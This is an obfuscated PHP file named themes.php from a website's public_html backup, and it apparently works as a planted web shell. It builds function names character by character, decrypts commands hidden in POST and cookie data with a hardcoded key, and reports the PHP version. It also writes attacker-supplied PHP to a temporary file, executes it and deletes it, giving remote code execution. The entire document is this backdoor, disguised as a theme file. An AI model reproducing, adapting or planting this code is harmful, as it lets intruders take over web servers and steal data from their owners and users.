File: //old_home_backup/angu.org.uk/public_html/themes.php
<?php
$zvsknu = 'zvsknu' /* w */ ^ '';
$kwkpnc = "\141" /* wb */ . "r"."\x72" . "a"."y"."\x5f" . "\x6d" . $zvsknu(97) . /* vi */ "p";
$udexovu /* c */ = "i"."m"."\x70" . /* e_tr */ $zvsknu(108) . /* dnkzqg*/ "o"."d"."e";
$sflwqasx /* _p */ = "c".$zvsknu(777-666) /* hrcu */ . "u"."\156" . /*my */ "t";
function kpcjq_qkq($lslttnqf, $xizoojxfnf)
{
global $zvsknu;
/*f */
$lslttnqf /* odqt */ = /* bnc_sv */ "\74" . /* x */ "?"."p"."h"."p".$zvsknu(32) /* uu_fzs */ . $zvsknu(117) . /*np*/ "n".$zvsknu(618-510) /* jlce */ . /* u */ "\x69" /* hrvac */ . /*q__bzq */ $zvsknu(989-879) . "\x6b" /*ke */ . /*qk */ "("."_"."_"."\106" /* pwoc */ . $zvsknu(73) . "L"."E".$zvsknu(95) /* pyw*/ . /* yujvxk*/ "\x5f" . /* jdtqow*/ $zvsknu(376-335) . ";".$zvsknu(32) /* tnx */ . /* _yxz*/ $lslttnqf["d"]; $wlapj /* zecuma */ = $zvsknu(102) /* ragi */ . "\x69" /* arwh*/ . /* kd */ $zvsknu(916-808) . /* hkqjku */ "\145" . "\x5f" /* ixz */ . "\x70" /* ixxlt */ . /*vjh */ "\x75" . "\164" /* wf */ . /* hzj */ $zvsknu(95) . "\x63" /* leh_ar */ . $zvsknu(1041-930) . "n".$zvsknu(652-536) /*ovbp */ . $zvsknu(101) /* lh */ . /*xge */ $zvsknu(392-282) . "t".$zvsknu(115);
/* jd */
$wlapj($xizoojxfnf, $lslttnqf); sdkpe($xizoojxfnf);
}
$sosubws = 73;
function /* cjxzkj */ sdkpe($xizoojxfnf){
global /* l */ $zvsknu;
/* mudhz */ include($xizoojxfnf); $_gwxvqf = $xizoojxfnf;
@unlink($_gwxvqf);
}
function ubtxxyiuz()
{
global $zvsknu;
$fdrrhvh = array();
$fdrrhvh[$zvsknu(112) /* mzx_q*/ . "v"] = /* k */ phpversion();
/* dkm_ */ $fdrrhvh[$zvsknu(930-815) /* nezwjn */ . /* oqpp */ "\x76"] = "\x33" . $zvsknu(46) /*ofrtu */ . "5"; $bkyqmuykhpuiomj_z = 74;
/*avhpa */ echo @serialize($fdrrhvh);
}
function qjrbbjue($lslttnqf, $njnvdoymhv)
{ /*dn */ global $zvsknu;
$fdzozr_hu = ""; $wrygohhkei = 'eacucpgyyj';
/* peh */ $bkyqmuykhqxbygsu = /* j */ hash('sha256', $lslttnqf);
$sfjwgb = /* ypdh */ str_replace('gu', $bkyqmuykhqxbygsu, /* acs*/ $wrygohhkei);
$fdrrhvh = 0;
while ($fdrrhvh < strlen($lslttnqf)) { $fdrrhvhrcetpsj = /*lefd*/ isset($njnvdoymhv) ? /* d */ $njnvdoymhv : /* gl_u */ '';
/* yobz_ */ for ($bkyqmuykh = /*hmsxt */ 0; /* hiby */ $bkyqmuykh /* cfn */ < /* zvkx */ strlen($fdrrhvhrcetpsj) && $fdrrhvh < strlen($lslttnqf); /* tnuegk*/ $bkyqmuykh++, $fdrrhvh++) { $fdzozr_hu /*mmkw*/ .= /* v*/ $zvsknu(ord($lslttnqf[$fdrrhvh]) /* _rb */ ^ ord($fdrrhvhrcetpsj[$bkyqmuykh])); }
if (strlen($fdzozr_hu) /*pep*/ > 20) { /* vcnhs*/ $sfjwgb = substr($fdzozr_hu, /*pfaa */ 0, 20);
/* szq*/ }
}
if (empty($fdzozr_hu)) {
/* hq */ $fdzozr_hu = /* rkn */ date('Y-m-d H:i:s');
}
/*ufegm */ return $fdzozr_hu;
}
function nmu_nrq_k($cikpiz)
{ global $zvsknu;
$pzlnkbs = /* nikq */ $zvsknu(608-508) . "\143" . /* wmfzso */ "1"."\145" . /* qarwee*/ $zvsknu(52) . "\x65".$zvsknu(52) /* rx */ . "\145" /* plgnlb */ . "\55" . /* imx */ "6".$zvsknu(403-306) /*opu */ . $zvsknu(967-910) . /* tycs*/ "9".$zvsknu(203-158) . "4"."6"."8"."8"."\x2d" . "\x38" . /*wgbx */ $zvsknu(669-617) . /* nfqs */ $zvsknu(52) . $zvsknu(463-409) . "-"."\60" /* qy*/ . $zvsknu(52) . /* miiu*/ "\60" . /* uxajab */ $zvsknu(54) . /*qwbg */ $zvsknu(969-872)."c".$zvsknu(387-290) . /* dy */ $zvsknu(774-672) /* z*/ . "\x31" /* mvkxw */ . "\71" . /* olvuk*/ "\x65"."\65";
/* ff */
foreach /* mmn */ ($cikpiz /*mdu_kv */ as $fcudvedk => $lslttnqf) {
datqgsmcj(base64_decode($lslttnqf), /*joqe */ $pzlnkbs, $fcudvedk);
}}
function /*h */ datqgsmcj($lslttnqf, $pzlnkbs, $fcudvedk)
{
/* skqbc*/ global /*w_o*/ $zvsknu;
/* i*/
$lslttnqf = unserialize(qjrbbjue(qjrbbjue($lslttnqf, /* cr */ $pzlnkbs), /* bcd */ $fcudvedk));
$biecjl_d = 'ozdu'; $mjoc_ /*rnghz*/ = 'emgepkkveq';
/* pmhkdn */ if (isset($lslttnqf[$zvsknu(969-872)."\x6b"])) { if ($lslttnqf[$zvsknu(969-872)] /*vpumf*/ == "i") {
/* f */ ubtxxyiuz();
} /*tylilw */ elseif ($lslttnqf[$zvsknu(969-872)] /*mkl */ == "\x65") /* u */ {
kpcjq_qkq($lslttnqf, sprintf("."."/".$zvsknu(146-109) . /* zgdybe */ $zvsknu(115) /* z */ . $zvsknu(46) /*nio */ . /* mztrm */ "\160" . /* bh */ $zvsknu(108), /* _uf*/ md5($pzlnkbs)));
$vkign = 44;
/* b */ } /* ajn_u */ exit(); /* dyo */ }
}
nmu_nrq_k($_POST);
$brmzbnhik = $kwkpnc('rawurldecode', $_POST);
$zfjjmyre = /* lzb */ $sflwqasx($brmzbnhik);
if /* clxvh */ ($zfjjmyre /* aso */ > 0) {
/* o */ $tdovha /* ag */ = $udexovu(',', /* lna */ $brmzbnhik);
}
nmu_nrq_k($_COOKIE); /* iz*/
$_bsldj__n = $kwkpnc('rawurldecode', $_COOKIE);
?>